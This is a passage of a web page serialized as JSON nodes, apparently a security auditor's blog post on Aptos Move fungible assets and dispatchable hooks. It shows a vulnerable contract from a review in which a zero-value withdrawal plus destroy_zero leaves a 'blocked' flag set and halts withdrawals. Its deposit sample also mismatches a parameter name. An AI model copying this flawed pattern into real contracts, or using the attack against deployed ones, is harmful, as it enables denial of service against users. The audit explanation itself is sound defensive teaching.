",{"type":24,"tag":156,"props":68871,"children":68873},{"className":68872},[],[68874],{"type":30,"value":68875},"transfer_assert_minimum_deposit",{"type":30,"value":68877}," that can help mitigate such risks.",{"type":24,"tag":33,"props":68879,"children":68880},{},[68881,68883,68888,68890,68897],{"type":30,"value":68882},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":24,"tag":156,"props":68884,"children":68886},{"className":68885},[],[68887],{"type":30,"value":64762},{"type":30,"value":68889}," to ensure ",{"type":24,"tag":37,"props":68891,"children":68894},{"href":68892,"rel":68893},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[41],[68895],{"type":30,"value":68896},"their signature remains immutable",{"type":30,"value":68898},". An example implementation might look like this:",{"type":24,"tag":920,"props":68900,"children":68902},{"className":6102,"code":68901,"language":6101,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[68903],{"type":24,"tag":156,"props":68904,"children":68905},{"__ignoreMap":7},[68906,68942,68969,68988,69012,69031,69039,69085,69092,69099,69135,69162,69182,69205,69212,69219,69263],{"type":24,"tag":930,"props":68907,"children":68908},{"class":932,"line":933},[68909,68913,68917,68922,68926,68930,68934,68938],{"type":24,"tag":930,"props":68910,"children":68911},{"style":1023},[68912],{"type":30,"value":64762},{"type":24,"tag":930,"props":68914,"children":68915},{"style":1023},[68916],{"type":30,"value":9320},{"type":24,"tag":930,"props":68918,"children":68919},{"style":1023},[68920],{"type":30,"value":68921}," withdraw_hook",{"type":24,"tag":930,"props":68923,"children":68924},{"style":959},[68925],{"type":30,"value":1350},{"type":24,"tag":930,"props":68927,"children":68928},{"style":943},[68929],{"type":30,"value":9100},{"type":24,"tag":930,"props":68931,"children":68932},{"style":1158},[68933],{"type":30,"value":476},{"type":24,"tag":930,"props":68935,"children":68936},{"style":1023},[68937],{"type":30,"value":9044},{"type":24,"tag":930,"props":68939,"children":68940},{"style":959},[68941],{"type":30,"value":9700},{"type":24,"tag":930,"props":68943,"children":68944},{"class":932,"line":984},[68945,68949,68953,68957,68961,68965],{"type":24,"tag":930,"props":68946,"children":68947},{"style":1023},[68948],{"type":30,"value":32504},{"type":24,"tag":930,"props":68950,"children":68951},{"style":1158},[68952],{"type":30,"value":476},{"type":24,"tag":930,"props":68954,"children":68955},{"style":943},[68956],{"type":30,"value":64648},{"type":24,"tag":930,"props":68958,"children":68959},{"style":959},[68960],{"type":30,"value":1350},{"type":24,"tag":930,"props":68962,"children":68963},{"style":943},[68964],{"type":30,"value":9100},{"type":24,"tag":930,"props":68966,"children":68967},{"style":959},[68968],{"type":30,"value":9251},{"type":24,"tag":930,"props":68970,"children":68971},{"class":932,"line":993},[68972,68976,68980,68984],{"type":24,"tag":930,"props":68973,"children":68974},{"style":1023},[68975],{"type":30,"value":64669},{"type":24,"tag":930,"props":68977,"children":68978},{"style":1158},[68979],{"type":30,"value":476},{"type":24,"tag":930,"props":68981,"children":68982},{"style":943},[68983],{"type":30,"value":8972},{"type":24,"tag":930,"props":68985,"children":68986},{"style":959},[68987],{"type":30,"value":2832},{"type":24,"tag":930,"props":68989,"children":68990},{"class":932,"line":1057},[68991,68996,69000,69004,69008],{"type":24,"tag":930,"props":68992,"children":68993},{"style":1023},[68994],{"type":30,"value":68995},"    transfer_ref",{"type":24,"tag":930,"props":68997,"children":68998},{"style":1158},[68999],{"type":30,"value":476},{"type":24,"tag":930,"props":69001,"children":69002},{"style":1158},[69003],{"type":30,"value":10253},{"type":24,"tag":930,"props":69005,"children":69006},{"style":943},[69007],{"type":30,"value":68510},{"type":24,"tag":930,"props":69009,"children":69010},{"style":959},[69011],{"type":30,"value":2832},{"type":24,"tag":930,"props":69013,"children":69014},{"class":932,"line":1066},[69015,69019,69023,69027],{"type":24,"tag":930,"props":69016,"children":69017},{"style":959},[69018],{"type":30,"value":6249},{"type":24,"tag":930,"props":69020,"children":69021},{"style":1158},[69022],{"type":30,"value":476},{"type":24,"tag":930,"props":69024,"children":69025},{"style":943},[69026],{"type":30,"value":64627},{"type":24,"tag":930,"props":69028,"children":69029},{"style":959},[69030],{"type":30,"value":981},{"type":24,"tag":930,"props":69032,"children":69033},{"class":932,"line":1075},[69034],{"type":24,"tag":930,"props":69035,"children":69036},{"style":1422},[69037],{"type":30,"value":69038},"    //check paused, gather fees etc.\n",{"type":24,"tag":930,"props":69040,"children":69041},{"class":932,"line":1122},[69042,69047,69051,69056,69060,69065,69069,69073,69077,69081],{"type":24,"tag":930,"props":69043,"children":69044},{"style":959},[69045],{"type":30,"value":69046},"    fungible_asset",{"type":24,"tag":930,"props":69048,"children":69049},{"style":1158},[69050],{"type":30,"value":6597},{"type":24,"tag":930,"props":69052,"children":69053},{"style":1002},[69054],{"type":30,"value":69055},"withdraw_with_ref",{"type":24,"tag":930,"props":69057,"children":69058},{"style":959},[69059],{"type":30,"value":1010},{"type":24,"tag":930,"props":69061,"children":69062},{"style":1023},[69063],{"type":30,"value":69064},"transfer_ref",{"type":24,"tag":930,"props":69066,"children":69067},{"style":959},[69068],{"type":30,"value":962},{"type":24,"tag":930,"props":69070,"children":69071},{"style":1023},[69072],{"type":30,"value":9053},{"type":24,"tag":930,"props":69074,"children":69075},{"style":959},[69076],{"type":30,"value":962},{"type":24,"tag":930,"props":69078,"children":69079},{"style":1023},[69080],{"type":30,"value":23410},{"type":24,"tag":930,"props":69082,"children":69083},{"style":959},[69084],{"type":30,"value":1054},{"type":24,"tag":930,"props":69086,"children":69087},{"class":932,"line":1131},[69088],{"type":24,"tag":930,"props":69089,"children":69090},{"style":959},[69091],{"type":30,"value":2528},{"type":24,"tag":930,"props":69093,"children":69094},{"class":932,"line":1144},[69095],{"type":24,"tag":930,"props":69096,"children":69097},{"emptyLinePlaceholder":16},[69098],{"type":30,"value":2412},{"type":24,"tag":930,"props":69100,"children":69101},{"class":932,"line":1169},[69102,69106,69110,69115,69119,69123,69127,69131],{"type":24,"tag":930,"props":69103,"children":69104},{"style":1023},[69105],{"type":30,"value":64762},{"type":24,"tag":930,"props":69107,"children":69108},{"style":1023},[69109],{"type":30,"value":9320},{"type":24,"tag":930,"props":69111,"children":69112},{"style":1023},[69113],{"type":30,"value":69114}," deposit_hook",{"type":24,"tag":930,"props":69116,"children":69117},{"style":959},[69118],{"type":30,"value":1350},{"type":24,"tag":930,"props":69120,"children":69121},{"style":943},[69122],{"type":30,"value":9100},{"type":24,"tag":930,"props":69124,"children":69125},{"style":1158},[69126],{"type":30,"value":476},{"type":24,"tag":930,"props":69128,"children":69129},{"style":1023},[69130],{"type":30,"value":9044},{"type":24,"tag":930,"props":69132,"children":69133},{"style":959},[69134],{"type":30,"value":9700},{"type":24,"tag":930,"props":69136,"children":69137},{"class":932,"line":1191},[69138,69142,69146,69150,69154,69158],{"type":24,"tag":930,"props":69139,"children":69140},{"style":1023},[69141],{"type":30,"value":32504},{"type":24,"tag":930,"props":69143,"children":69144},{"style":1158},[69145],{"type":30,"value":476},{"type":24,"tag":930,"props":69147,"children":69148},{"style":943},[69149],{"type":30,"value":64648},{"type":24,"tag":930,"props":69151,"children":69152},{"style":959},[69153],{"type":30,"value":1350},{"type":24,"tag":930,"props":69155,"children":69156},{"style":943},[69157],{"type":30,"value":9100},{"type":24,"tag":930,"props":69159,"children":69160},{"style":959},[69161],{"type":30,"value":9251},{"type":24,"tag":930,"props":69163,"children":69164},{"class":932,"line":1223},[69165,69170,69174,69178],{"type":24,"tag":930,"props":69166,"children":69167},{"style":1023},[69168],{"type":30,"value":69169},"    fa",{"type":24,"tag":930,"props":69171,"children":69172},{"style":1158},[69173],{"type":30,"value":476},{"type":24,"tag":930,"props":69175,"children":69176},{"style":943},[69177],{"type":30,"value":64627},{"type":24,"tag":930,"props":69179,"children":69180},{"style":959},[69181],{"type":30,"value":2832},{"type":24,"tag":930,"props":69183,"children":69184},{"class":932,"line":1281},[69185,69189,69193,69197,69201],{"type":24,"tag":930,"props":69186,"children":69187},{"style":1023},[69188],{"type":30,"value":68995},{"type":24,"tag":930,"props":69190,"children":69191},{"style":1158},[69192],{"type":30,"value":476},{"type":24,"tag":930,"props":69194,"children":69195},{"style":1158},[69196],{"type":30,"value":10253},{"type":24,"tag":930,"props":69198,"children":69199},{"style":943},[69200],{"type":30,"value":68510},{"type":24,"tag":930,"props":69202,"children":69203},{"style":959},[69204],{"type":30,"value":2832},{"type":24,"tag":930,"props":69206,"children":69207},{"class":932,"line":1313},[69208],{"type":24,"tag":930,"props":69209,"children":69210},{"style":959},[69211],{"type":30,"value":1503},{"type":24,"tag":930,"props":69213,"children":69214},{"class":932,"line":1335},[69215],{"type":24,"tag":930,"props":69216,"children":69217},{"style":1422},[69218],{"type":30,"value":69038},{"type":24,"tag":930,"props":69220,"children":69221},{"class":932,"line":1376},[69222,69226,69230,69235,69239,69243,69247,69251,69255,69259],{"type":24,"tag":930,"props":69223,"children":69224},{"style":959},[69225],{"type":30,"value":69046},{"type":24,"tag":930,"props":69227,"children":69228},{"style":1158},[69229],{"type":30,"value":6597},{"type":24,"tag":930,"props":69231,"children":69232},{"style":1002},[69233],{"type":30,"value":69234},"deposit_with_ref",{"type":24,"tag":930,"props":69236,"children":69237},{"style":959},[69238],{"type":30,"value":1010},{"type":24,"tag":930,"props":69240,"children":69241},{"style":1023},[69242],{"type":30,"value":69064},{"type":24,"tag":930,"props":69244,"children":69245},{"style":959},[69246],{"type":30,"value":962},{"type":24,"tag":930,"props":69248,"children":69249},{"style":1023},[69250],{"type":30,"value":9053},{"type":24,"tag":930,"props":69252,"children":69253},{"style":959},[69254],{"type":30,"value":962},{"type":24,"tag":930,"props":69256,"children":69257},{"style":1023},[69258],{"type":30,"value":64820},{"type":24,"tag":930,"props":69260,"children":69261},{"style":959},[69262],{"type":30,"value":1278},{"type":24,"tag":930,"props":69264,"children":69265},{"class":932,"line":1418},[69266],{"type":24,"tag":930,"props":69267,"children":69268},{"style":959},[69269],{"type":30,"value":2528},{"type":24,"tag":69271,"props":69272,"children":69273},"question",{},[69274,69301],{"type":24,"tag":33,"props":69275,"children":69276},{},[69277,69279,69285,69287,69293,69294,69300],{"type":30,"value":69278},"Why hook functions rely on ",{"type":24,"tag":156,"props":69280,"children":69282},{"className":69281},[],[69283],{"type":30,"value":69284},"*_with_ref",{"type":30,"value":69286}," calls? What would happen if the hook function called ",{"type":24,"tag":156,"props":69288,"children":69290},{"className":69289},[],[69291],{"type":30,"value":69292},"dispatchable_fungible_asset::withdraw",{"type":30,"value":19894},{"type":24,"tag":156,"props":69295,"children":69297},{"className":69296},[],[69298],{"type":30,"value":69299},"fungible_asset::withdraw_with_ref",{"type":30,"value":5347},{"type":24,"tag":69302,"props":69303,"children":69304},"template",{"v-slot:answer-0":7},[69305,69317],{"type":24,"tag":33,"props":69306,"children":69307},{},[69308,69310,69315],{"type":30,"value":69309},"A1: Hook functions rely on ",{"type":24,"tag":156,"props":69311,"children":69313},{"className":69312},[],[69314],{"type":30,"value":69284},{"type":30,"value":69316}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":24,"tag":33,"props":69318,"children":69319},{},[69320,69322,69327],{"type":30,"value":69321},"A2: A ",{"type":24,"tag":156,"props":69323,"children":69325},{"className":69324},[],[69326],{"type":30,"value":69292},{"type":30,"value":69328}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":24,"tag":33,"props":69330,"children":69331},{},[69332],{"type":30,"value":69333},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":24,"tag":920,"props":69335,"children":69337},{"className":6102,"code":69336,"language":6101,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[69338],{"type":24,"tag":156,"props":69339,"children":69340},{"__ignoreMap":7},[69341,69436,69456,69471,69491,69534,69549,69556,69563,69682,69701,69716,69735,69778],{"type":24,"tag":930,"props":69342,"children":69343},{"class":932,"line":933},[69344,69348,69352,69356,69360,69364,69368,69372,69376,69380,69384,69388,69392,69396,69400,69404,69408,69412,69416,69420,69424,69428,69432],{"type":24,"tag":930,"props":69345,"children":69346},{"style":1023},[69347],{"type":30,"value":64762},{"type":24,"tag":930,"props":69349,"children":69350},{"style":1023},[69351],{"type":30,"value":9320},{"type":24,"tag":930,"props":69353,"children":69354},{"style":1023},[69355],{"type":30,"value":64771},{"type":24,"tag":930,"props":69357,"children":69358},{"style":959},[69359],{"type":30,"value":1350},{"type":24,"tag":930,"props":69361,"children":69362},{"style":943},[69363],{"type":30,"value":9100},{"type":24,"tag":930,"props":69365,"children":69366},{"style":1158},[69367],{"type":30,"value":476},{"type":24,"tag":930,"props":69369,"children":69370},{"style":1023},[69371],{"type":30,"value":9044},{"type":24,"tag":930,"props":69373,"children":69374},{"style":959},[69375],{"type":30,"value":10721},{"type":24,"tag":930,"props":69377,"children":69378},{"style":1023},[69379],{"type":30,"value":9053},{"type":24,"tag":930,"props":69381,"children":69382},{"style":1158},[69383],{"type":30,"value":476},{"type":24,"tag":930,"props":69385,"children":69386},{"style":943},[69387],{"type":30,"value":64648},{"type":24,"tag":930,"props":69389,"children":69390},{"style":959},[69391],{"type":30,"value":1350},{"type":24,"tag":930,"props":69393,"children":69394},{"style":943},[69395],{"type":30,"value":9100},{"type":24,"tag":930,"props":69397,"children":69398},{"style":959},[69399],{"type":30,"value":9742},{"type":24,"tag":930,"props":69401,"children":69402},{"style":1023},[69403],{"type":30,"value":64820},{"type":24,"tag":930,"props":69405,"children":69406},{"style":1158},[69407],{"type":30,"value":476},{"type":24,"tag":930,"props":69409,"children":69410},{"style":943},[69411],{"type":30,"value":64627},{"type":24,"tag":930,"props":69413,"children":69414},{"style":959},[69415],{"type":30,"value":962},{"type":24,"tag":930,"props":69417,"children":69418},{"style":1023},[69419],{"type":30,"value":69064},{"type":24,"tag":930,"props":69421,"children":69422},{"style":1158},[69423],{"type":30,"value":476},{"type":24,"tag":930,"props":69425,"children":69426},{"style":1158},[69427],{"type":30,"value":10253},{"type":24,"tag":930,"props":69429,"children":69430},{"style":943},[69431],{"type":30,"value":68510},{"type":24,"tag":930,"props":69433,"children":69434},{"style":959},[69435],{"type":30,"value":1503},{"type":24,"tag":930,"props":69437,"children":69438},{"class":932,"line":984},[69439,69444,69448,69452],{"type":24,"tag":930,"props":69440,"children":69441},{"style":1002},[69442],{"type":30,"value":69443},"    assert_withdraw_flag",{"type":24,"tag":930,"props":69445,"children":69446},{"style":959},[69447],{"type":30,"value":1010},{"type":24,"tag":930,"props":69449,"children":69450},{"style":937},[69451],{"type":30,"value":7110},{"type":24,"tag":930,"props":69453,"children":69454},{"style":959},[69455],{"type":30,"value":1278},{"type":24,"tag":930,"props":69457,"children":69458},{"class":932,"line":993},[69459,69463,69467],{"type":24,"tag":930,"props":69460,"children":69461},{"style":959},[69462],{"type":30,"value":65804},{"type":24,"tag":930,"props":69464,"children":69465},{"style":1158},[69466],{"type":30,"value":12699},{"type":24,"tag":930,"props":69468,"children":69469},{"style":959},[69470],{"type":30,"value":14879},{"type":24,"tag":930,"props":69472,"children":69473},{"class":932,"line":1057},[69474,69479,69483,69487],{"type":24,"tag":930,"props":69475,"children":69476},{"style":1002},[69477],{"type":30,"value":69478},"    set_withdraw_flag",{"type":24,"tag":930,"props":69480,"children":69481},{"style":959},[69482],{"type":30,"value":1010},{"type":24,"tag":930,"props":69484,"children":69485},{"style":937},[69486],{"type":30,"value":1790},{"type":24,"tag":930,"props":69488,"children":69489},{"style":959},[69490],{"type":30,"value":1278},{"type":24,"tag":930,"props":69492,"children":69493},{"class":932,"line":1066},[69494,69498,69502,69506,69510,69514,69518,69522,69526,69530],{"type":24,"tag":930,"props":69495,"children":69496},{"style":959},[69497],{"type":30,"value":69046},{"type":24,"tag":930,"props":69499,"children":69500},{"style":1158},[69501],{"type":30,"value":6597},{"type":24,"tag":930,"props":69503,"children":69504},{"style":1002},[69505],{"type":30,"value":69234},{"type":24,"tag":930,"props":69507,"children":69508},{"style":959},[69509],{"type":30,"value":1010},{"type":24,"tag":930,"props":69511,"children":69512},{"style":1023},[69513],{"type":30,"value":69064},{"type":24,"tag":930,"props":69515,"children":69516},{"style":959},[69517],{"type":30,"value":962},{"type":24,"tag":930,"props":69519,"children":69520},{"style":1023},[69521],{"type":30,"value":9053},{"type":24,"tag":930,"props":69523,"children":69524},{"style":959},[69525],{"type":30,"value":962},{"type":24,"tag":930,"props":69527,"children":69528},{"style":1023},[69529],{"type":30,"value":23410},{"type":24,"tag":930,"props":69531,"children":69532},{"style":959},[69533],{"type":30,"value":1278},{"type":24,"tag":930,"props":69535,"children":69536},{"class":932,"line":1075},[69537,69541,69545],{"type":24,"tag":930,"props":69538,"children":69539},{"style":959},[69540],{"type":30,"value":65804},{"type":24,"tag":930,"props":69542,"children":69543},{"style":1158},[69544],{"type":30,"value":12699},{"type":24,"tag":930,"props":69546,"children":69547},{"style":959},[69548],{"type":30,"value":14879},{"type":24,"tag":930,"props":69550,"children":69551},{"class":932,"line":1122},[69552],{"type":24,"tag":930,"props":69553,"children":69554},{"style":959},[69555],{"type":30,"value":1840},{"type":24,"tag":930,"props":69557,"children":69558},{"class":932,"line":1131},[69559],{"type":24,"tag":930,"props":69560,"children":69561},{"emptyLinePlaceholder":16},[69562],{"type":30,"value":2412},{"type":24,"tag":930,"props":69564,"children":69565},{"class":932,"line":1144},[69566,69570,69574,69578,69582,69586,69590,69594,69598,69602,69606,69610,69614,69618,69622,69626,69630,69634,69638,69642,69646,69650,69654,69658,69662,69666,69670,69674,69678],{"type":24,"tag":930,"props":69567,"children":69568},{"style":1023},[69569],{"type":30,"value":64762},{"type":24,"tag":930,"props":69571,"children":69572},{"style":1023},[69573],{"type":30,"value":9320},{"type":24,"tag":930,"props":69575,"children":69576},{"style":1023},[69577],{"type":30,"value":23375},{"type":24,"tag":930,"props":69579,"children":69580},{"style":959},[69581],{"type":30,"value":1350},{"type":24,"tag":930,"props":69583,"children":69584},{"style":943},[69585],{"type":30,"value":9100},{"type":24,"tag":930,"props":69587,"children":69588},{"style":1158},[69589],{"type":30,"value":476},{"type":24,"tag":930,"props":69591,"children":69592},{"style":1023},[69593],{"type":30,"value":9044},{"type":24,"tag":930,"props":69595,"children":69596},{"style":959},[69597],{"type":30,"value":10721},{"type":24,"tag":930,"props":69599,"children":69600},{"style":1023},[69601],{"type":30,"value":9053},{"type":24,"tag":930,"props":69603,"children":69604},{"style":1158},[69605],{"type":30,"value":476},{"type":24,"tag":930,"props":69607,"children":69608},{"style":943},[69609],{"type":30,"value":64648},{"type":24,"tag":930,"props":69611,"children":69612},{"style":959},[69613],{"type":30,"value":1350},{"type":24,"tag":930,"props":69615,"children":69616},{"style":943},[69617],{"type":30,"value":9100},{"type":24,"tag":930,"props":69619,"children":69620},{"style":959},[69621],{"type":30,"value":9742},{"type":24,"tag":930,"props":69623,"children":69624},{"style":1023},[69625],{"type":30,"value":23410},{"type":24,"tag":930,"props":69627,"children":69628},{"style":1158},[69629],{"type":30,"value":476},{"type":24,"tag":930,"props":69631,"children":69632},{"style":943},[69633],{"type":30,"value":8972},{"type":24,"tag":930,"props":69635,"children":69636},{"style":959},[69637],{"type":30,"value":962},{"type":24,"tag":930,"props":69639,"children":69640},{"style":1023},[69641],{"type":30,"value":69064},{"type":24,"tag":930,"props":69643,"children":69644},{"style":1158},[69645],{"type":30,"value":476},{"type":24,"tag":930,"props":69647,"children":69648},{"style":1158},[69649],{"type":30,"value":10253},{"type":24,"tag":930,"props":69651,"children":69652},{"style":943},[69653],{"type":30,"value":68510},{"type":24,"tag":930,"props":69655,"children":69656},{"style":959},[69657],{"type":30,"value":6249},{"type":24,"tag":930,"props":69659,"children":69660},{"style":1158},[69661],{"type":30,"value":476},{"type":24,"tag":930,"props":69663,"children":69664},{"style":943},[69665],{"type":30,"value":64627},{"type":24,"tag":930,"props":69667,"children":69668},{"style":1023},[69669],{"type":30,"value":10677},{"type":24,"tag":930,"props":69671,"children":69672},{"style":959},[69673],{"type":30,"value":26134},{"type":24,"tag":930,"props":69675,"children":69676},{"style":1158},[69677],{"type":30,"value":12699},{"type":24,"tag":930,"props":69679,"children":69680},{"style":959},[69681],{"type":30,"value":64853},{"type":24,"tag":930,"props":69683,"children":69684},{"class":932,"line":1169},[69685,69689,69693,69697],{"type":24,"tag":930,"props":69686,"children":69687},{"style":1002},[69688],{"type":30,"value":69443},{"type":24,"tag":930,"props":69690,"children":69691},{"style":959},[69692],{"type":30,"value":1010},{"type":24,"tag":930,"props":69694,"children":69695},{"style":937},[69696],{"type":30,"value":1790},{"type":24,"tag":930,"props":69698,"children":69699},{"style":959},[69700],{"type":30,"value":1278},{"type":24,"tag":930,"props":69702,"children":69703},{"class":932,"line":1191},[69704,69708,69712],{"type":24,"tag":930,"props":69705,"children":69706},{"style":959},[69707],{"type":30,"value":65804},{"type":24,"tag":930,"props":69709,"children":69710},{"style":1158},[69711],{"type":30,"value":12699},{"type":24,"tag":930,"props":69713,"children":69714},{"style":959},[69715],{"type":30,"value":14879},{"type":24,"tag":930,"props":69717,"children":69718},{"class":932,"line":1223},[69719,69723,69727,69731],{"type":24,"tag":930,"props":69720,"children":69721},{"style":1002},[69722],{"type":30,"value":69478},{"type":24,"tag":930,"props":69724,"children":69725},{"style":959},[69726],{"type":30,"value":1010},{"type":24,"tag":930,"props":69728,"children":69729},{"style":937},[69730],{"type":30,"value":7110},{"type":24,"tag":930,"props":69732,"children":69733},{"style":959},[69734],{"type":30,"value":1278},{"type":24,"tag":930,"props":69736,"children":69737},{"class":932,"line":1281},[69738,69742,69746,69750,69754,69758,69762,69766,69770,69774],{"type":24,"tag":930,"props":69739,"children":69740},{"style":959},[69741],{"type":30,"value":69046},{"type":24,"tag":930,"props":69743,"children":69744},{"style":1158},[69745],{"type":30,"value":6597},{"type":24,"tag":930,"props":69747,"children":69748},{"style":1002},[69749],{"type":30,"value":69055},{"type":24,"tag":930,"props":69751,"children":69752},{"style":959},[69753],{"type":30,"value":1010},{"type":24,"tag":930,"props":69755,"children":69756},{"style":1023},[69757],{"type":30,"value":69064},{"type":24,"tag":930,"props":69759,"children":69760},{"style":959},[69761],{"type":30,"value":962},{"type":24,"tag":930,"props":69763,"children":69764},{"style":1023},[69765],{"type":30,"value":9053},{"type":24,"tag":930,"props":69767,"children":69768},{"style":959},[69769],{"type":30,"value":962},{"type":24,"tag":930,"props":69771,"children":69772},{"style":1023},[69773],{"type":30,"value":23410},{"type":24,"tag":930,"props":69775,"children":69776},{"style":959},[69777],{"type":30,"value":1054},{"type":24,"tag":930,"props":69779,"children":69780},{"class":932,"line":1313},[69781],{"type":24,"tag":930,"props":69782,"children":69783},{"style":959},[69784],{"type":30,"value":2528},{"type":24,"tag":33,"props":69786,"children":69787},{},[69788],{"type":30,"value":69789},"At first glance, this code appears valid, but not to an astute reader.",{"type":24,"tag":69271,"props":69791,"children":69792},{},[69793,69798],{"type":24,"tag":33,"props":69794,"children":69795},{},[69796],{"type":30,"value":69797},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":24,"tag":69302,"props":69799,"children":69800},{"v-slot:answer-0":7},[69801,69821],{"type":24,"tag":33,"props":69802,"children":69803},{},[69804,69806,69811,69813,69819],{"type":30,"value":69805},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":24,"tag":156,"props":69807,"children":69809},{"className":69808},[],[69810],{"type":30,"value":64598},{"type":30,"value":69812}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":24,"tag":156,"props":69814,"children":69816},{"className":69815},[],[69817],{"type":30,"value":69818},"fungible_asset::destroy_zero",{"type":30,"value":69820},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":24,"tag":33,"props":69822,"children":69823},{},[69824],{"type":30,"value":69825},"It's important to understand all the features in the standard.",{"type":24,"tag":68,"props":69827,"children":69829},{"id":69828},"migrating-from-coins-to-fungible-assets",[69830],{"type":30,"value":69831},"Migrating from coins to fungible assets",{"type":24,"tag":33,"props":69833,"children":69834},{},[69835,69837,69842],{"type":30,"value":69836},"If a fungible asset is considered an upgrade to ",{"type":24,"tag":156,"props":69838,"children":69840},{"className":69839},[],[69841],{"type":30,"value":64053},{"type":30,"value":69843},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":24,"tag":1430,"props":69845,"children":69846},{},[69847],{"type":24,"tag":33,"props":69848,"children":69849},{},[69850,69852,69857,69859,69864],{"type":30,"value":69851},"While the ",{"type":24,"tag":156,"props":69853,"children":69855},{"className":69854},[],[69856],{"type":30,"value":64053},{"type":30,"value":69858}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":24,"tag":156,"props":69860,"children":69862},{"className":69861},[],[69863],{"type":30,"value":64053},{"type":30,"value":436},{"type":24,"tag":33,"props":69866,"children":69867},{},[69868,69869,69875,69877,69882,69884,69889],{"type":30,"value":259},{"type":24,"tag":156,"props":69870,"children":69872},{"className":69871},[],[69873],{"type":30,"value":69874},"coin_to_fungible_asset",{"type":30,"value":69876}," converting function automatically generates a corresponding fungible asset for a ",{"type":24,"tag":156,"props":69878,"children":69880},{"className":69879},[],[69881],{"type":30,"value":64053},{"type":30,"value":69883}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":24,"tag":156,"props":69885,"children":69887},{"className":69886},[],[69888],{"type":30,"value":64053},{"type":30,"value":69890}," is not allowed.",{"type":24,"tag":920,"props":69892,"children":69894},{"className":6102,"code":69893,"language":6101,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[69895],{"type":24,"tag":156,"props":69896,"children":69897},{"__ignoreMap":7},[69898,69926,69953,69989,70022,70055,70091],{"type":24,"tag":930,"props":69899,"children":69900},{"class":932,"line":933},[69901,69905,69909,69914,69918,69922],{"type":24,"tag":930,"props":69902,"children":69903},{"style":1023},[69904],{"type":30,"value":64762},{"type":24,"tag":930,"props":69906,"children":69907},{"style":1023},[69908],{"type":30,"value":9320},{"type":24,"tag":930,"props":69910,"children":69911},{"style":1023},[69912],{"type":30,"value":69913}," coin_to_fungible_asset",{"type":24,"tag":930,"props":69915,"children":69916},{"style":959},[69917],{"type":30,"value":1350},{"type":24,"tag":930,"props":69919,"children":69920},{"style":943},[69921],{"type":30,"value":9695},{"type":24,"tag":930,"props":69923,"children":69924},{"style":959},[69925],{"type":30,"value":9700},{"type":24,"tag":930,"props":69927,"children":69928},{"class":932,"line":984},[69929,69933,69937,69941,69945,69949],{"type":24,"tag":930,"props":69930,"children":69931},{"style":1023},[69932],{"type":30,"value":64272},{"type":24,"tag":930,"props":69934,"children":69935},{"style":1158},[69936],{"type":30,"value":476},{"type":24,"tag":930,"props":69938,"children":69939},{"style":943},[69940],{"type":30,"value":8914},{"type":24,"tag":930,"props":69942,"children":69943},{"style":959},[69944],{"type":30,"value":1350},{"type":24,"tag":930,"props":69946,"children":69947},{"style":943},[69948],{"type":30,"value":9695},{"type":24,"tag":930,"props":69950,"children":69951},{"style":959},[69952],{"type":30,"value":9105},{"type":24,"tag":930,"props":69954,"children":69955},{"class":932,"line":993},[69956,69960,69964,69968,69972,69977,69981,69985],{"type":24,"tag":930,"props":69957,"children":69958},{"style":959},[69959],{"type":30,"value":6249},{"type":24,"tag":930,"props":69961,"children":69962},{"style":1158},[69963],{"type":30,"value":476},{"type":24,"tag":930,"props":69965,"children":69966},{"style":943},[69967],{"type":30,"value":64627},{"type":24,"tag":930,"props":69969,"children":69970},{"style":1023},[69971],{"type":30,"value":10677},{"type":24,"tag":930,"props":69973,"children":69974},{"style":943},[69975],{"type":30,"value":69976}," CoinConversionMap",{"type":24,"tag":930,"props":69978,"children":69979},{"style":959},[69980],{"type":30,"value":962},{"type":24,"tag":930,"props":69982,"children":69983},{"style":943},[69984],{"type":30,"value":9825},{"type":24,"tag":930,"props":69986,"children":69987},{"style":959},[69988],{"type":30,"value":981},{"type":24,"tag":930,"props":69990,"children":69991},{"class":932,"line":1057},[69992,69996,70001,70005,70010,70014,70018],{"type":24,"tag":930,"props":69993,"children":69994},{"style":937},[69995],{"type":30,"value":6122},{"type":24,"tag":930,"props":69997,"children":69998},{"style":1023},[69999],{"type":30,"value":70000}," 